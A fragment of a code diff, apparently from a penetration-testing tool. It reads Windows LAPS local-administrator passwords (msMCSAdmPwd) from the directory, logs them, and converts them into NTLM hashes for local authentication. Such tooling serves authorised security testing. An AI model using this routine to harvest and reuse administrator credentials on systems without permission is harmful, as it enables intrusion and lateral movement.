self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
else:
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
return None, None, None
return None, None, None, None
if msMCSAdmPwd == "":
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
return None, None, None
return None, None, None, None
hash_ntlm = None
if cred_type[0] == "hash":
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
hash_ntlm = binascii.hexlify(hash_ntlm).decode()
username = username_laps if username_laps else self.args.laps
password = msMCSAdmPwd
domain = self.hostname
self.args.local_auth = True
self.kerberos = False
self.logger.extra["protocol"] = prev_protocol
self.logger.extra["port"] = prev_port
return username, password, domain
return username, password, domain, hash_ntlm
Loaded 100 of 136 files, more files were not shown because too many files have changed in this diff. Show more